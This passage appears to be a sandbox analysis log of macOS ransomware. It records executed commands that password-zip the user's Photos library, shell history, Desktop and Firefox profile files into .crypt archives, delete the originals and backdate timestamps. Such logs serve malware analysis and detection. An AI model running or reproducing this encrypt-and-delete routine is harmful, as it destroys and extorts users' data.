  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/construction-photosgraph.kgdb-shm"
  2⤵
  PID:949
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/construction-photosgraph.kgdb-shm.crypt"
  2⤵
  PID:950
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/construction-photosgraph.kgdb-wal.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/construction-photosgraph.kgdb-wal"
  2⤵
  PID:951
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/construction-photosgraph.kgdb-wal"
  2⤵
  PID:952
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/construction-photosgraph.kgdb-wal"
  2⤵
  PID:952
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/construction-photosgraph.kgdb-wal.crypt"
  2⤵
  PID:953
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/construction-photosgraph.kgdb.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/construction-photosgraph.kgdb"
  2⤵
  PID:954
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/construction-photosgraph.kgdb"
  2⤵
  PID:955
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/construction-photosgraph.kgdb"
  2⤵
  PID:955
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/construction-photosgraph.kgdb.crypt"
  2⤵
  PID:956
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph-tmp.kgdb-wal.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph-tmp.kgdb-wal"
  2⤵
  PID:957
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph-tmp.kgdb-wal"
  2⤵
  PID:958
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph-tmp.kgdb-wal"
  2⤵
  PID:958
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph-tmp.kgdb-wal.crypt"
  2⤵
  PID:959
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph-tmp.kgdb-shm.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph-tmp.kgdb-shm"
  2⤵
  PID:960
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph-tmp.kgdb-shm"
  2⤵
  PID:961
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph-tmp.kgdb-shm"
  2⤵
  PID:961
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph-tmp.kgdb-shm.crypt"
  2⤵
  PID:962
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph.kgdb.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph.kgdb"
  2⤵
  - Resource Forking
  PID:963
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph.kgdb"
  2⤵
  PID:964
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph.kgdb"
  2⤵
  PID:964
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph.kgdb.crypt"
  2⤵
  PID:965
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph.kgdb-shm.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph.kgdb-shm"
  2⤵
  PID:966
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph.kgdb-shm"
  2⤵
  PID:967
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph.kgdb-shm"
  2⤵
  PID:967
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph.kgdb-shm.crypt"
  2⤵
  PID:968
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph-tmp.kgdb.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph-tmp.kgdb"
  2⤵
  PID:969
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph-tmp.kgdb"
  2⤵
  PID:970
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph-tmp.kgdb"
  2⤵
  PID:970
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph-tmp.kgdb.crypt"
  2⤵
  PID:971
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph.kgdb-wal.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph.kgdb-wal"
  2⤵
  PID:972
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph.kgdb-wal"
  2⤵
  PID:973
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph.kgdb-wal"
  2⤵
  PID:973
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph.kgdb-wal.crypt"
  2⤵
  PID:974
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSContactCache.sqlite-wal.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSContactCache.sqlite-wal"
  2⤵
  PID:975
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSContactCache.sqlite-wal"
  2⤵
  PID:976
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSContactCache.sqlite-wal"
  2⤵
  PID:976
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSContactCache.sqlite-wal.crypt"
  2⤵
  PID:977
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotoAnalysisServicePreferences.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotoAnalysisServicePreferences.plist"
  2⤵
  PID:978
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotoAnalysisServicePreferences.plist"
  2⤵
  PID:979
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotoAnalysisServicePreferences.plist"
  2⤵
  PID:979
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotoAnalysisServicePreferences.plist.crypt"
  2⤵
  PID:980
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/revgeoprovider.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/revgeoprovider.plist"
  2⤵
  PID:981
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/revgeoprovider.plist"
  2⤵
  PID:982
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/revgeoprovider.plist"
  2⤵
  PID:982
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/revgeoprovider.plist.crypt"
  2⤵
  PID:983
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.AOI.sqlite.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.AOI.sqlite"
  2⤵
  PID:984
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.AOI.sqlite"
  2⤵
  PID:985
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.AOI.sqlite"
  2⤵
  PID:985
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.AOI.sqlite.crypt"
  2⤵
  PID:986
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSContactCache.sqlite-shm.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSContactCache.sqlite-shm"
  2⤵
  PID:987
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSContactCache.sqlite-shm"
  2⤵
  PID:988
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSContactCache.sqlite-shm"
  2⤵
  PID:988
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSContactCache.sqlite-shm.crypt"
  2⤵
  PID:989
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision"
  2⤵
  PID:990
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision"
  2⤵
  PID:991
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision"
  2⤵
  PID:991
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/clustererState.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/clustererState.plist"
  2⤵
  PID:992
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/clustererState.plist"
  2⤵
  PID:993
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/clustererState.plist"
  2⤵
  PID:993
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/clustererState.plist.crypt"
  2⤵
  PID:994
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/faceWorkerState.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/faceWorkerState.plist"
  2⤵
  PID:995
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/faceWorkerState.plist"
  2⤵
  PID:996
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/faceWorkerState.plist"
  2⤵
  PID:996
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/faceWorkerState.plist.crypt"
  2⤵
  PID:997
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/PersonPromoter.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/PersonPromoter"
  2⤵
  PID:998
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/PersonPromoter"
  2⤵
  PID:999
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/PersonPromoter"
  2⤵
  PID:999
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/PersonPromoter.crypt"
  2⤵
  PID:1000
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/AlgoFaceClusterCache.data.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/AlgoFaceClusterCache.data"
  2⤵
  PID:1001
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/AlgoFaceClusterCache.data"
  2⤵
  PID:1002
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/AlgoFaceClusterCache.data"
  2⤵
  PID:1002
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/AlgoFaceClusterCache.data.crypt"
  2⤵
  PID:1003
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/PhotoAnalysisServicePreferences.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/PhotoAnalysisServicePreferences.plist"
  2⤵
  PID:1004
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/PhotoAnalysisServicePreferences.plist"
  2⤵
  PID:1005
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/PhotoAnalysisServicePreferences.plist"
  2⤵
  PID:1005
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/PhotoAnalysisServicePreferences.plist.crypt"
  2⤵
  PID:1006
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.mediaanalysisd.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.mediaanalysisd"
  2⤵
  PID:1007
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.mediaanalysisd"
  2⤵
  PID:1008
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.mediaanalysisd"
  2⤵
  PID:1008
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/external.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/external"
  2⤵
  PID:1009
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/external"
  2⤵
  PID:1010
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/external"
  2⤵
  PID:1010
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/external/com.apple.photoanalysisd.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/external/com.apple.photoanalysisd"
  2⤵
  PID:1011
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/external/com.apple.photoanalysisd"
  2⤵
  PID:1012
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/external/com.apple.photoanalysisd"
  2⤵
  PID:1012
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/external/com.apple.mediaanalysisd.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/external/com.apple.mediaanalysisd"
  2⤵
  PID:1013
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/external/com.apple.mediaanalysisd"
  2⤵
  PID:1014
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/external/com.apple.mediaanalysisd"
  2⤵
  PID:1014
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp /Users//run/.zsh_history.crypt /Users//run/.zsh_history
  2⤵
  PID:1015
- /usr/bin/rm
  rm /Users//run/.zsh_history
  2⤵
  PID:1016
- /bin/rm
  rm /Users//run/.zsh_history
  2⤵
  PID:1016
- /usr/bin/touch
  touch -mt 201002130000 /Users//run/.zsh_history.crypt
  2⤵
  PID:1017
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp /Users//run/Desktop.crypt /Users//run/Desktop
  2⤵
  PID:1018
- /usr/bin/rm
  rm /Users//run/Desktop
  2⤵
  PID:1019
- /bin/rm
  rm /Users//run/Desktop
  2⤵
  PID:1019
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Desktop/untitled folder.crypt" "/Users//run/Desktop/untitled folder"
  2⤵
  PID:1020
- /usr/bin/rm
  rm "/Users//run/Desktop/untitled folder"
  2⤵
  PID:1021
- /bin/rm
  rm "/Users//run/Desktop/untitled folder"
  2⤵
  PID:1021
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp /Users//run/Desktop/.DS_Store.crypt /Users//run/Desktop/.DS_Store
  2⤵
  PID:1022
- /usr/bin/rm
  rm /Users//run/Desktop/.DS_Store
  2⤵
  PID:1023
- /bin/rm
  rm /Users//run/Desktop/.DS_Store
  2⤵
  PID:1023
- /usr/bin/touch
  touch -mt 201002130000 /Users//run/Desktop/.DS_Store.crypt
  2⤵
  PID:1024
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp /Users//run/Desktop/.localized.crypt /Users//run/Desktop/.localized
  2⤵
  PID:1025
- /usr/bin/rm
  rm /Users//run/Desktop/.localized
  2⤵
  PID:1026
- /bin/rm
  rm /Users//run/Desktop/.localized
  2⤵
  PID:1026
- /usr/bin/touch
  touch -mt 201002130000 /Users//run/Desktop/.localized.crypt
  2⤵
  PID:1027
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp /Users//run/Desktop/Untitled.rtf.crypt /Users//run/Desktop/Untitled.rtf
  2⤵
  PID:1028
- /usr/bin/rm
  rm /Users//run/Desktop/Untitled.rtf
  2⤵
  PID:1029
- /bin/rm
  rm /Users//run/Desktop/Untitled.rtf
  2⤵
  PID:1029
- /usr/bin/touch
  touch -mt 201002130000 /Users//run/Desktop/Untitled.rtf.crypt
  2⤵
  PID:1030
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp /Users//run/Library.crypt /Users//run/Library
  2⤵
  PID:1031
- /usr/bin/rm
  rm /Users//run/Library
  2⤵
  PID:1032
- /bin/rm
  rm /Users//run/Library
  2⤵
  PID:1032
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support.crypt" "/Users//run/Library/Application Support"
  2⤵
  PID:1033
- /usr/bin/rm
  rm "/Users//run/Library/Application Support"
  2⤵
  PID:1034
- /bin/rm
  rm "/Users//run/Library/Application Support"
  2⤵
  PID:1034
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox.crypt" "/Users//run/Library/Application Support/Firefox"
  2⤵
  PID:1035
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox"
  2⤵
  PID:1036
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox"
  2⤵
  PID:1036
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/installs.ini.crypt" "/Users//run/Library/Application Support/Firefox/installs.ini"
  2⤵
  PID:1037
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/installs.ini"
  2⤵
  PID:1038
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/installs.ini"
  2⤵
  PID:1038
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Firefox/installs.ini.crypt"
  2⤵
  PID:1039
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/profiles.ini.crypt" "/Users//run/Library/Application Support/Firefox/profiles.ini"
  2⤵
  PID:1040
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/profiles.ini"
  2⤵
  PID:1041
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/profiles.ini"
  2⤵
  PID:1041
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Firefox/profiles.ini.crypt"
  2⤵
  PID:1042
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Pending Pings.crypt" "/Users//run/Library/Application Support/Firefox/Pending Pings"
  2⤵
  PID:1043
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Pending Pings"
  2⤵
  PID:1044
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Pending Pings"
  2⤵
  PID:1044
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles.crypt" "/Users//run/Library/Application Support/Firefox/Profiles"
  2⤵
  PID:1045
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles"
  2⤵
  PID:1046
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles"
  2⤵
  PID:1046
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/xwa3ix3b.default.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/xwa3ix3b.default"
  2⤵
  PID:1047
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/xwa3ix3b.default"
  2⤵
  PID:1048
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/xwa3ix3b.default"
  2⤵
  PID:1048
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/xwa3ix3b.default/times.json.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/xwa3ix3b.default/times.json"
  2⤵
  PID:1049
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/xwa3ix3b.default/times.json"
  2⤵
  PID:1050
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/xwa3ix3b.default/times.json"
  2⤵
  PID:1050
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Firefox/Profiles/xwa3ix3b.default/times.json.crypt"
  2⤵
  - Resource Forking
  PID:1051
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/xwa3ix3b.default/user.js.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/xwa3ix3b.default/user.js"
  2⤵
  - Resource Forking
  PID:1052
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/xwa3ix3b.default/user.js"
  2⤵
  - Resource Forking
  PID:1053
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/xwa3ix3b.default/user.js"
  2⤵
  PID:1053
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Firefox/Profiles/xwa3ix3b.default/user.js.crypt"
  2⤵
  PID:1054
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default"
  2⤵
  - Resource Forking
  PID:1055
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default"
  2⤵
  - Resource Forking
  PID:1056
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default"
  2⤵
  PID:1056
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/sessionstore-backups.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/sessionstore-backups"
  2⤵
  - Resource Forking
  PID:1057
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/sessionstore-backups"
  2⤵
  - Resource Forking
  PID:1058
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/sessionstore-backups"
  2⤵
  - Resource Forking
  PID:1058
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/compatibility.ini.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/compatibility.ini"
  2⤵
  PID:1059
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/compatibility.ini"
  2⤵
  PID:1060
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/compatibility.ini"
  2⤵
  - Resource Forking
  PID:1060
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/compatibility.ini.crypt"
  2⤵
  PID:1061
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/favicons.sqlite-wal.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/favicons.sqlite-wal"
